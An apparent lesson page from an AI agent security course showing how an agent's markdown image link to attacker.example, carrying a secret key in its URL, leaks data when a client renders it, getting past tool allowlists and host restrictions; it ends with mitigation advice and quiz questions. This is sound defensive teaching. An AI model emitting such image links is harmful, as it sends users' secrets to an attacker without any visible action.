Skip to content
1Claw Academy
Curriculum/The AI Agent Threat Model2 minBeginner · Lesson 5 of 14

Lab: send data out without calling anything

Lab

Emit one line of markdown and trace what the client does with it.

The trifecta lesson listed markdown image rendering as an exfiltration channel, and it is the item people most often wave away because it does not look like a network call. This traces what actually happens.

  1. 1

    Have the agent produce a perfectly ordinary-looking response.

    bash
    cat > /tmp/exfil.py <<'EOF'
    secret = "sk-live-9f2a"                # already in context from an earlier turn
    
    response = f"Here is your summary.\n\n![loading](https://attacker.example/p.png?d={secret})"
    print("the agent emits:")
    print(response)
    
    print("\nthe client renders the markdown, which means it issues:")
    print(f"  GET https://attacker.example/p.png?d={secret}")
    
    print("\ntools called: 0")
    print("links clicked: 0")
    print("user actions required: 0")
    EOF
    python3 /tmp/exfil.py
  2. 2

    No tool was invoked and no one clicked anything.

    text
    the agent emits:
    Here is your summary.
    
    ![loading](https://attacker.example/p.png?d=sk-live-9f2a)
    
    the client renders the markdown, which means it issues:
      GET https://attacker.example/p.png?d=sk-live-9f2a
    
    tools called: 0
    links clicked: 0
    user actions required: 0
  3. 3

    Clean up.

    bash
    rm /tmp/exfil.py

The rendering client is the exfiltration channel. It fetches the image because that is what a markdown renderer does, and the fetch carries whatever was put in the URL.

  • Tool allowlists do not help, because no tool was called. Restricting which network hosts the agent may reach does not help either, because the agent made no request.
  • The same shape covers any auto-fetched resource: an image, a stylesheet, a link preview, a favicon, an iframe.
  • It also defeats a user who is paying attention. There is nothing to click and nothing visibly wrong; a broken image is the only artefact.
Watch out

If your interface renders model output as markdown or HTML, it is part of your security boundary. Sanitising remote references, or proxying them through a host you control, is the control that actually applies here.

Tip

This is why the trifecta counts the ability to communicate externally rather than the ability to make network calls. The distinction sounds pedantic until you meet this.

Check your understanding

3 questions
1

Why does a tool allowlist not stop this?

2

Which components share this shape?

3

Where does the control belong?